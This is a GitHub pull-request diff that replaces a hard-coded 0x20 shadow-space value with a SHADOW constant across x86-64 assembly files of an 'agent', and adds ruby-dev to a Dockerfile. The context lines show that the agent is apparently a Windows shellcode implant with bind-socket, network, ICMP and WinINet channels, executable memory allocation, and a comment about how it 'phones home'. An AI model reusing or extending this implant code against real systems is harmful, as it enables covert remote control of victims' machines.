Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ WORKDIR /

RUN apt-get update
RUN apt-get install --no-install-recommends -y mingw-w64
RUN apt-get install --no-install-recommends -y ruby ruby-sinatra ruby-sinatra-contrib thin pry
RUN apt-get install --no-install-recommends -y ruby ruby-dev ruby-sinatra ruby-sinatra-contrib thin pry
RUN apt-get install --no-install-recommends -y git bsdmainutils procps screen tmux
RUN apt-get install --no-install-recommends -y autoconf build-essential nasm curl xz-utils

Expand Down
16 changes: 8 additions & 8 deletions agent/io/bind.asm
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ end_def engine
start_def ASM, initio, "initio"
mov rbp, rsp
and rsp, -16 ; align stack
sub rsp, 0x20
sub rsp, SHADOW

call .b
.a: db "ws2_32.dll", 0
Expand Down Expand Up @@ -97,12 +97,12 @@ start_def ASM, initio, "initio"

;; save the client socket
push rax
sub rsp, 0x20
sub rsp, SHADOW

;; close bound socket
mov rcx, G_SOCK
call G_WCLOSESOCKET
add rsp, 0x20
add rsp, SHADOW
pop rax
mov G_SOCK, rax

Expand Down Expand Up @@ -131,7 +131,7 @@ start_def ASM, emit, "emit"
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
sub rsp, SHADOW
call G_WSEND
add rsp, 0x28
mov rdi, [PSP]
Expand All @@ -148,9 +148,9 @@ start_def ASM, key, "key"
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
sub rsp, SHADOW
call G_WRECV
add rsp, 0x20
add rsp, SHADOW
pop rdi
and rdi, 0xff

Expand Down Expand Up @@ -192,9 +192,9 @@ start_def ASM, type, "type"
mov rdx, [PSP]
mov r8, rdi
xor r9, r9
sub rsp, 0x20
sub rsp, SHADOW
call G_WSEND
add rsp, 0x20
add rsp, SHADOW
mov rdi, [PSP+8]
add PSP, 16
pop rcx
Expand Down
2 changes: 1 addition & 1 deletion agent/io/icmp.asm
Original file line number Diff line number Diff line change
Expand Up @@ -287,7 +287,7 @@ end_def pingms
icmp_delay:
push rbp ;
mov rbp, rsp ; save stack
sub rsp, 0x20 ; make shadow space
sub rsp, SHADOW ; make shadow space
and rsp, -16 ; align stack just in case

mov rcx, G_MODE ; get last response code
Expand Down
6 changes: 3 additions & 3 deletions agent/io/io.asm
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ start_def ASM, emit, "emit"
mov r8, 1 ; print only one character
mov r9, r15 ; place to save # bytes written
push QWORD 0 ; final parameter, no flags
sub rsp, 0x20 ; shadow space
sub rsp, SHADOW ; shadow space
call W32_WriteFile ; ...
add rsp, 0x30 ; fix stack
pop rcx
Expand All @@ -59,7 +59,7 @@ start_def ASM, key, "key"
mov rcx, G_INPUT
mov r8, 1
mov r9, r15
sub rsp, 0x20
sub rsp, SHADOW
call W32_ReadFile
pushthing [rsp+0x28]
and rdi, 0xff
Expand Down Expand Up @@ -89,7 +89,7 @@ start_def ASM, type, "type"
mov r9, r15 ; WriteFile reports # bytes written
push 0 ; keep stack paragraph aligned
push 0 ; no flags
sub rsp, 0x20 ; shadow space
sub rsp, SHADOW ; shadow space
call W32_WriteFile ; ...
add rsp, 0x30 ; fix stack
pop rcx
Expand Down
6 changes: 3 additions & 3 deletions agent/io/memory.asm
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ end_def engine

start_def ASM, initio, "initio"
mov rbp, rsp
sub rsp, 0x20
sub rsp, SHADOW
and rsp, -16

xor ebx, ebx
Expand Down Expand Up @@ -52,7 +52,7 @@ end_def initio

start_def ASM, emit, "emit"
mov rbp, rsp
sub rsp, 0x20
sub rsp, SHADOW
and rsp, -16

mov rbx, G_IOBUF ; get pointer to IO buffer
Expand Down Expand Up @@ -86,7 +86,7 @@ end_def emit

start_def ASM, key, "key"
mov rbp, rsp
sub rsp, 0x20
sub rsp, SHADOW
and rsp, -16

mov rbx, G_IOBUF
Expand Down
12 changes: 6 additions & 6 deletions agent/io/net.asm
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ end_def engine
start_def ASM, initio, "initio"
mov rbp, rsp
and rsp, -16 ; align stack
sub rsp, 0x20
sub rsp, SHADOW

call .b
.a: db "ws2_32.dll", 0
Expand Down Expand Up @@ -151,7 +151,7 @@ start_def ASM, emit, "emit"
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
sub rsp, SHADOW
call G_WSEND
add rsp, 0x28
mov rdi, [PSP]
Expand All @@ -168,9 +168,9 @@ start_def ASM, key, "key"
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
sub rsp, SHADOW
call G_WRECV
add rsp, 0x20
add rsp, SHADOW
pop rdi
and rdi, 0xff

Expand Down Expand Up @@ -243,9 +243,9 @@ start_def ASM, type, "type"
mov rdx, [PSP]
mov r8, rdi
xor r9, r9
sub rsp, 0x20
sub rsp, SHADOW
call G_WSEND
add rsp, 0x20
add rsp, SHADOW
mov rdi, [PSP+8]
add PSP, 16
pop rcx
Expand Down
2 changes: 1 addition & 1 deletion agent/io/wininet.asm
Original file line number Diff line number Diff line change
Expand Up @@ -307,7 +307,7 @@ end_def setecho
net_delay:
push rbp ;
mov rbp, rsp ; save stack
sub rsp, 0x20 ; make shadow space
sub rsp, SHADOW ; make shadow space
and rsp, -16 ; align stack just in case

mov rcx, G_RESPONSE ; get last response code
Expand Down
10 changes: 5 additions & 5 deletions agent/main.asm
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@ save: sub rax, save - main ; find entry point for shellcode
mov G_RSP0, rsp
mov G_PSP0, r12

sub rsp, 0x20
sub rsp, SHADOW
mov ecx, -11
call W32_GetStdHandle
mov G_STDOUT, rax
Expand Down Expand Up @@ -88,7 +88,7 @@ save: sub rax, save - main ; find entry point for shellcode
mov r8d, 0x3000 ; allocation type
mov r9d, 0x40 ; protection flags
call W32_VirtualAlloc ; ...
add rsp, 0x20 ; remove shadow space
add rsp, SHADOW ; remove shadow space

mov G_SCRATCH, rax
add rax, 0x100
Expand Down Expand Up @@ -195,7 +195,7 @@ update: mov rcx, [rbx] ; get LINK offset
;;; Environment is set up, dictionary exists, "main" code follows
;;; ------------------------------------------------------------------------

sub rsp, 0x20
sub rsp, SHADOW
mov ecx, 0xffff ; avoid error reporting
call W32_SetErrorMode ; ...

Expand All @@ -221,7 +221,7 @@ update: mov rcx, [rbx] ; get LINK offset
xor ecx, ecx
;inc ecx
call W32_AddVectoredExceptionHandler
add rsp, 0x20
add rsp, SHADOW

pushthing code_key - main
add rdi, G_ENTRY
Expand All @@ -237,7 +237,7 @@ boot: call code_initio
;; phones home don't look the same
push rbp
mov rbp, rsp
sub rsp, 0x20
sub rsp, SHADOW
and rsp, -16
call W32_GetTickCount ; ticks since boot
pushthing rax ;
Expand Down